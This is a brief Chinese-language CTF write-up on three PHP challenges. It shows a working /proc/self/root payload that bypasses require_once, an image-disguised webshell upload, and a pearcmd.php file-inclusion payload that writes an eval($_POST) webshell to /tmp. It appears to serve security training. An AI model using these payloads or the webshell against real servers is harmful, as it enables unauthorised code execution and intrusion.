1.绕过require_once限制
题目页面:
有两个require_once
,则this_is_flag.php
已经被包含一次就不会再包含了。而题目意思就是说flag
在this_is_flag.php
文件中。所以要想绕过前面那个require_once
,而执行后面那个。在浏览器中搜索绕过require_once限制
因为知道文件路径,所以最后是/www/html/file_include/Assess01/this_is_flag.php
url=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/file_include/Assess01/this_is_flag.php
得到base64编码后的值
解码得flag{This_ls_fl@g}
2.图片马连接shell
上传图片马,然后用webshell工具连接即得flag
3.php裸文件包含—利用pearcmd
利用pearcmd进行文件包含
php裸文件包含
需要用bp发包,要不然直接在浏览器发的话部分特殊字符可能会被url转码
?+config-create+/&path=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[x]);?>+/tmp/ccc.php
再用蚁剑连接
得flag=flag{Th1s_PeArCMD_d0t_pHp};